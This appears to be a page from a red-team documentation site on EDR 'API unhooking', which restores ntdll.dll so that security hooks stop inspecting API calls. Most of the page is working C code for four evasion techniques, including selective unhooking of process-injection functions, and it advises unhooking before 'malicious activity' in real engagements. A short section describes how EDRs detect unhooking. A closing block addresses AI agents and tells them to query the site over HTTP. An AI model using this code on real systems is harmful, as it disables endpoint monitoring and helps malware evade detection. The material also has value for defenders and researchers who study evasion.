# API Unhooking — Restoring ntdll to a Clean State

### What EDR Hooks Are

When an EDR is installed on a Windows system, its kernel driver registers a callback that is invoked whenever a new process is created. At that moment — before the process's main code executes — the EDR injects its DLL into the process address space and overwrites the first bytes of critical functions in `ntdll.dll` (and sometimes in other DLLs like `kernel32.dll`, `kernelbase.dll`) with jumps to its own inspection code.

This mechanism is called *inline hooking* and is the foundation of most modern EDRs' userland visibility.

```
┌──────────────────────────────────────────────────────────────────────┐
│                 EDR Hooking Process                                  │
│                                                                      │
│  1. Process created (suspended)                                      │
│  2. EDR driver receives PsSetLoadImageNotifyRoutine callback         │
│  3. EDR injects its DLL via section mapping                          │
│  4. EDR DLL walks ntdll.dll exports in memory                        │
│  5. For each target function:                                        │
│                                                                      │
│  BEFORE hook:                                                        │
│  ntdll!NtCreateFile:                                                 │
│    4C 8B D1     mov r10, rcx                                         │
│    B8 55 00 00  mov eax, 0x55                                        │
│    0F 05        syscall                                              │
│    C3           ret                                                  │
│                                                                      │
│  AFTER hook (EDR installed):                                         │
│  ntdll!NtCreateFile:                                                 │
│    E9 XX XX XX  jmp <EDR_DLL+offset>   ← 5 bytes overwritten        │
│    XX 00 00 00                                                        │
│    0F 05        syscall                 ← rest intact                │
│    C3           ret                                                  │
└──────────────────────────────────────────────────────────────────────┘
```

**Unhooking** is the technique of restoring those modified bytes back to their original values, effectively removing the EDR's ability to inspect API calls.

***

### Technique 1: Overwrite ntdll with a Copy from Disk

The most reliable approach: read the original image of `ntdll.dll` directly from disk (which was not modified by the EDR) and overwrite the `.text` section of the in-memory copy with the original bytes.

#### Why Disk is Trustworthy

The EDR hooks the DLL *in memory*, in the process address space. The file on disk remains intact. By mapping a fresh copy of the DLL from disk and copying the code section over the in-memory version, we restore all original bytes.

```c
#include <windows.h>
#include <stdio.h>

// Unhook via remapping ntdll from disk
BOOL UnhookNtdllFromDisk(void) {
    // 1. Open the ntdll.dll file from disk
    HANDLE hFile = CreateFileA(
        "C:\\Windows\\System32\\ntdll.dll",
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_DELETE,
        NULL, OPEN_EXISTING, 0, NULL
    );
    if (hFile == INVALID_HANDLE_VALUE) return FALSE;

    // 2. Create a file mapping (read only — no execution needed)
    HANDLE hMap = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
    CloseHandle(hFile);
    if (!hMap) return FALSE;

    // 3. Map the disk image into memory
    LPVOID pDiskNtdll = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    CloseHandle(hMap);
    if (!pDiskNtdll) return FALSE;

    // 4. Get the in-memory copy (potentially hooked)
    HMODULE hMemNtdll = GetModuleHandleA("ntdll.dll");
    if (!hMemNtdll) {
        UnmapViewOfFile(pDiskNtdll);
        return FALSE;
    }

    // 5. Locate the .text section in both images
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pDiskNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)pDiskNtdll + dos->e_lfanew);

    PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION(nt);
    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) == 0) {

            // 6. Change protection of in-memory .text section to allow writing
            DWORD oldProtect = 0;
            PVOID textBase   = (PVOID)((BYTE*)hMemNtdll + sec->VirtualAddress);
            SIZE_T textSize  = sec->Misc.VirtualSize;

            VirtualProtect(textBase, textSize, PAGE_EXECUTE_WRITECOPY, &oldProtect);

            // 7. Overwrite with bytes from disk
            memcpy(
                textBase,
                (BYTE*)pDiskNtdll + sec->VirtualAddress,
                textSize
            );

            // 8. Restore original protection
            VirtualProtect(textBase, textSize, oldProtect, &oldProtect);

            printf("[+] ntdll.dll .text section restored (%zu bytes)\n", textSize);
            UnmapViewOfFile(pDiskNtdll);
            return TRUE;
        }
    }

    UnmapViewOfFile(pDiskNtdll);
    return FALSE;
}

int main(void) {
    if (UnhookNtdllFromDisk()) {
        puts("[+] Unhooking complete. ntdll in clean state.");
    }
    return 0;
}
```

***

### Technique 2: Mapping via NtMapViewOfSection (without CreateFileMapping)

To avoid detections based on calls to `CreateFileMapping` or `MapViewOfFile` (which some EDRs monitor), we can use native NT calls to map the section:

```c
#include <windows.h>

typedef NTSTATUS(WINAPI* pNtOpenFile)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
    PIO_STATUS_BLOCK, ULONG, ULONG
);
typedef NTSTATUS(WINAPI* pNtCreateSection)(
    PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES,
    PLARGE_INTEGER, ULONG, ULONG, HANDLE
);
typedef NTSTATUS(WINAPI* pNtMapViewOfSection)(
    HANDLE, HANDLE, PVOID*, ULONG_PTR, SIZE_T,
    PLARGE_INTEGER, PSIZE_T, DWORD, ULONG, ULONG
);
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

BOOL UnhookViaNativeAPI(void) {
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");

    pNtOpenFile        NtOpenFile   = (pNtOpenFile)GetProcAddress(hNtdll, "NtOpenFile");
    pNtCreateSection   NtCreateSec  = (pNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    pNtMapViewOfSection NtMapView   = (pNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    pNtUnmapViewOfSection NtUnmapView = (pNtUnmapViewOfSection)GetProcAddress(hNtdll, "NtUnmapViewOfSection");

    // Build Unicode path for ntdll
    UNICODE_STRING uPath;
    WCHAR path[] = L"\\SystemRoot\\System32\\ntdll.dll";
    uPath.Buffer        = path;
    uPath.Length        = (USHORT)(wcslen(path) * 2);
    uPath.MaximumLength = uPath.Length + 2;

    OBJECT_ATTRIBUTES oa = {0};
    oa.Length = sizeof(OBJECT_ATTRIBUTES);
    oa.ObjectName = &uPath;

    IO_STATUS_BLOCK iosb = {0};
    HANDLE hFile = NULL;

    NTSTATUS st = NtOpenFile(
        &hFile,
        GENERIC_READ | SYNCHRONIZE,
        &oa, &iosb,
        FILE_SHARE_READ,
        FILE_SYNCHRONOUS_IO_NONALERT
    );
    if (st != 0) return FALSE;

    HANDLE hSection = NULL;
    st = NtCreateSec(
        &hSection,
        SECTION_MAP_READ | SECTION_MAP_EXECUTE,
        NULL, NULL,
        PAGE_READONLY, SEC_IMAGE,
        hFile
    );
    CloseHandle(hFile);
    if (st != 0) return FALSE;

    PVOID   pMapped = NULL;
    SIZE_T  viewSize = 0;

    st = NtMapView(
        hSection, (HANDLE)-1,
        &pMapped, 0, 0, NULL, &viewSize,
        1 /*ViewShare*/, 0, PAGE_READONLY
    );
    CloseHandle(hSection);
    if (st != 0) return FALSE;

    // Copy the .text section from the clean mapping to ntdll in memory
    // (same process as described in Technique 1)
    // ...

    NtUnmapView((HANDLE)-1, pMapped);
    return TRUE;
}
```

***

### Technique 3: Selective Unhooking per Function

Instead of restoring the entire `.text` section, we identify which functions are hooked and restore only those. This is more surgical and less noisy:

```c
// Detect if a function is hooked (first bytes != expected pattern)
BOOL IsFunctionHooked(PVOID funcAddr) {
    BYTE* fn = (BYTE*)funcAddr;
    // Expected pattern for Nt* stub on x64:
    // 4C 8B D1  (mov r10, rcx)
    // B8 xx xx  (mov eax, SSN)
    if (fn[0] != 0x4C || fn[1] != 0x8B || fn[2] != 0xD1) {
        return TRUE;  // First bytes changed → hooked
    }
    return FALSE;
}

// List of critical functions to check and unhook
const char* criticalFuncs[] = {
    "NtAllocateVirtualMemory",
    "NtWriteVirtualMemory",
    "NtCreateThreadEx",
    "NtOpenProcess",
    "NtQueueApcThread",
    "NtCreateSection",
    "NtMapViewOfSection",
    NULL
};

void SelectiveUnhook(PVOID pDiskNtdll, HMODULE hMemNtdll) {
    PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hMemNtdll;
    PIMAGE_NT_HEADERS nt  = (PIMAGE_NT_HEADERS)((BYTE*)hMemNtdll + dos->e_lfanew);
    PIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(
        (BYTE*)hMemNtdll + nt->OptionalHeader.DataDirectory[0].VirtualAddress
    );

    DWORD* names = (DWORD*)((BYTE*)hMemNtdll + exp->AddressOfNames);
    WORD*  ords  = (WORD*) ((BYTE*)hMemNtdll + exp->AddressOfNameOrdinals);
    DWORD* funcs = (DWORD*)((BYTE*)hMemNtdll + exp->AddressOfFunctions);

    for (int i = 0; criticalFuncs[i]; i++) {
        for (DWORD j = 0; j < exp->NumberOfNames; j++) {
            const char* name = (char*)((BYTE*)hMemNtdll + names[j]);
            if (strcmp(name, criticalFuncs[i]) != 0) continue;

            PVOID memFn  = (PVOID)((BYTE*)hMemNtdll + funcs[ords[j]]);
            PVOID diskFn = (PVOID)((BYTE*)pDiskNtdll + funcs[ords[j]]);

            if (!IsFunctionHooked(memFn)) continue;

            DWORD old = 0;
            VirtualProtect(memFn, 16, PAGE_EXECUTE_WRITECOPY, &old);
            memcpy(memFn, diskFn, 16);  // Restore first 16 bytes
            VirtualProtect(memFn, 16, old, &old);

            printf("[+] Unhooked: %s\n", criticalFuncs[i]);
        }
    }
}
```

***

### Technique 4: Unhooking via Duplicate Module (Loading a Second ntdll)

An interesting variant: instead of using the file on disk directly, we load a second instance of `ntdll.dll` into the process under a different name. Since the loader does not apply hooks to the second instance (the EDR only monitors the initial loading), the second instance can be used directly.

```c
// Copy ntdll to a temporary name and load as a separate module
BOOL LoadCleanNtdll(HMODULE* hClean) {
    char tempPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tempPath);
    strcat_s(tempPath, MAX_PATH, "legit.dll");

    if (!CopyFileA("C:\\Windows\\System32\\ntdll.dll", tempPath, FALSE))
        return FALSE;

    *hClean = LoadLibraryA(tempPath);
    DeleteFileA(tempPath);  // Remove from disk after loading

    return *hClean != NULL;
}
```

> **Limitation**: Some EDRs monitor `LoadLibrary` and check whether the loaded module has hooks applied. Additionally, the temporary file name may draw attention in file activity logs.

***

### Unhooking Detection

```
┌──────────────────────────────────────────────────────────────────────┐
│              How EDRs Detect Unhooking Attempts                      │
│                                                                      │
│  1. VirtualProtect monitoring on system module regions               │
│     • VirtualProtect on ntdll .text is unusual in legitimate apps   │
│                                                                      │
│  2. Periodic hook integrity scan                                     │
│     • EDR re-checks its hooks periodically via a dedicated thread    │
│     • If hook was removed, it re-applies and flags the process       │
│                                                                      │
│  3. Kernel callbacks independent of userland hooks                   │
│     • PsSetCreateThreadNotifyRoutine (thread creation)               │
│     • ObRegisterCallbacks (object access)                            │
│     • MiniFilter (file operations)                                   │
│     These callbacks are in the kernel and cannot be removed          │
│     by userland techniques.                                          │
│                                                                      │
│  4. CreateFileMapping / MapViewOfFile on ntdll                       │
│     • Unusual file mapping activity on a system module               │
└──────────────────────────────────────────────────────────────────────┘
```

***

### Combined Approach in Real Engagements

In practice, unhooking is almost always combined with other techniques:

1. **Unhook first, execute later**: Remove hooks before any malicious activity to ensure API calls are not inspected.
2. **Combined with direct/indirect syscalls**: For the unhooking operations themselves (VirtualProtect), use direct syscalls to avoid the unhooking process itself being detected.
3. **Selective unhooking**: Instead of restoring all of ntdll (which might trigger the EDR's integrity scan), restore only the functions needed for the current operation.

***

### References

* Aleksandra Doniec (hasherezade), "PE-sieve — Scanning for Hooks" — github.com/hasherezade/pe-sieve
* ired.team, "Unhooking the Entire ntdll.dll" — ired.team/offensive-security/defense-evasion/
* am0nsec, "Freshycalls: Syscall-Based API Unhooking" — github.com/am0nsec
* Sektor7, "Malware Dev: API Unhooking Techniques" — sektor7.net
* Kyle Avery, "NtMapViewOfSection Injection and Unhooking" — kyleleavery.com (2021)
* Josh Lospinoso, "Offensive Security with Go" — Chapter on Unhooking (2022)
* WithSecure Labs, "NTDLL Unhooking from a Different Process" — labs.withsecure.com (2022)
* Reenz0h (Sektor7), "Malware Development: Evasion: API Unhooking" — sektor7.net


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.redteamleaders.com/offensive-security/defense-evasion/api-unhooking-restoring-ntdll-to-a-clean-state.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
